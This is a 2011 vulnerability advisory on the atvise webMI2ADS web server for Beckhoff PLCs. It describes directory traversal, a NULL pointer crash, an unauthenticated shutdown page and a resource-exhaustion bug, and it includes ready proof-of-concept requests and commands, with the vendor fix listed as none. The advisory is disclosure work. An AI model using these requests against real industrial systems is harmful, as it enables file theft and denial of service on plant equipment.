140 lines
No EOL
4 KiB
Text
140 lines
No EOL
4 KiB
Text
#######################################################################
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Luigi Auriemma
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Application: atvise webMI2ADS - Web server for Beckhoff PLCs
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http://www.atvise.com/en/atvise-downloads/products
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Versions: <= 1.0
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Platforms: Windows XP embedded and CE x86/ARM
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Bugs: A] directory traversal
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B] NULL pointer
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C] termination of the software
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D] resources consumption
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Exploitation: remote
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Date: 10 Oct 2011
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Author: Luigi Auriemma
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e-mail: aluigi@autistici.org
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web: aluigi.org
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#######################################################################
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1) Introduction
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2) Bugs
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3) The Code
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4) Fix
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#######################################################################
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===============
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1) Introduction
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===============
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From vendor's website:
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"webMI2ADS is a very slim and compact web server with an ADS interface
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(Beckhoff native PLC interface). It can be integrated on nearly any
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ethernet based Beckhoff PLC and provides full data access including
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automatic import of all PLC variables and types."
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#######################################################################
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=======
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2) Bugs
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=======
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----------------------
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A] directory traversal
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----------------------
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Classical directory traversal through the backslash delimiter which
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allows to get the files located on the disk where is running the
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server.
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---------------
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B] NULL pointer
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---------------
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NULL pointer dereference caused by the lacking of checks on the value
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returned by strchr on the Authorization Basic HTTP field:
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0043094F |> 6A 06 PUSH 6 ; /maxlen = 6
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00430951 |. 68 7CAB4400 PUSH webMI2AD.0044AB7C ; |s2 = "Basic "
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00430956 |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] ; |
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00430959 |. 50 PUSH EAX ; |s1
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0043095A |. FF15 10044400 CALL DWORD PTR DS:[<&MSVCR90._strnicmp>] ; \_strnicmp
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...skip...
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004309BC |. 6A 3A PUSH 3A ; /c = 3A (':')
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004309BE |. 8D8D F8FEFFFF LEA ECX,DWORD PTR SS:[EBP-108] ; |
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004309C4 |. 51 PUSH ECX ; |s
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004309C5 |. FF15 FC034400 CALL DWORD PTR DS:[<&MSVCR90.strchr>] ; \strchr
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004309CB |. 83C4 08 ADD ESP,8
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004309CE |. 8945 F4 MOV DWORD PTR SS:[EBP-C],EAX
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004309D1 |. 837D FC 00 CMP DWORD PTR SS:[EBP-4],0
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004309D5 |. 74 4B JE SHORT webMI2AD.00430A22
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004309D7 |. 8B55 F4 MOV EDX,DWORD PTR SS:[EBP-C]
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004309DA |. 2B55 FC SUB EDX,DWORD PTR SS:[EBP-4]
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004309DD |. 83FA 40 CMP EDX,40
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004309E0 |. 7D 40 JGE SHORT webMI2AD.00430A22
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004309E2 |. 8B45 F4 MOV EAX,DWORD PTR SS:[EBP-C]
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004309E5 |. C600 00 MOV BYTE PTR DS:[EAX],0
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------------------------------
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C] termination of the software
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------------------------------
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For terminating the software remotely it's enough to go on the
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/shutdown webpage.
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------------------------
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D] resources consumption
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------------------------
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Endless loop with memory consumption and CPU at 100% caused by a
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particular negative Content-Length.
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#######################################################################
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===========
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3) The Code
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===========
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http://aluigi.org/mytoolz/mydown.zip
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https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17963-1.zip
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http://aluigi.org/testz/udpsz.zip
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https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17879.zip
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A]
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mydown http://SERVER/..\..\..\..\..\..\..\boot.ini
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mydown http://SERVER/..%5c..%5c..%5c..%5c..%5c..%5cboot.ini
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B]
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udpsz -c "GET / HTTP/1.0\r\nAuthorization: Basic blah\r\n\r\n" -T -D SERVER 80 -1
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C]
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http://SERVER/shutdown
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D]
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udpsz -c "POST / HTTP/1.0\r\nContent-Length: -30\r\n\r\n" -T -D SERVER 80 -1
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#######################################################################
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======
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4) Fix
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======
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No fix.
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####################################################################### |